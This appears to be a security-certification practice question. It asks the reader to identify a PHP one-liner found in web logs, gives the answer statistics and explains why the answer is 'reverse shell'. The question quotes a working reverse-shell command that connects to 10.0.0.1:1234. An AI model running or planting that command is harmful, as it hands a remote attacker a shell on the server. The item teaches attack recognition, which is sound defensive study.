While reviewing web server logs, a security analyst discovers the following suspicious line: php -r '$socket=fsockopen("10.0.0.1", 1234); passthru ("/bin/sh -i <&3 >&3 2>&3");' Which of the…

Question

Options

• ARemote file inclusion
• BCommand injection
• CServer-side request forgery
• DReverse shell

• A
  4% (2)
• B
  2% (1)
• C
  10% (5)
• D
  83% (40)

Explanation

Reverse Shell Explanation

Why D is correct: This PHP code creates a network socket connecting outbound from the victim server to 10.0.0.1:1234, then redirects a shell (/bin/sh -i) through that connection using file descriptor 3 - this is the classic pattern of a reverse shell, where the compromised server "calls home" to the attacker, bypassing inbound firewall rules.

Why the distractors are wrong:

• A (Remote File Inclusion): RFI involves loading a remote malicious file/script into a vulnerable application - no file is being fetched here.
• B (Command Injection): Command injection exploits unsanitized input to execute OS commands within the application context; this code establishes an interactive, persistent external connection, not a one-off injected command.
• C (SSRF): SSRF tricks a server into making requests to internal resources on the attacker's behalf - there's no web request being forged here.

Memory Tip: Think "Reverse = calls back." A reverse shell is like a criminal calling you instead of you calling them - the victim machine initiates the outbound connection to the attacker, making it harder to block. If you see fsockopen + /bin/sh + redirected file descriptors, think reverse shell.

No community discussion yet for this question.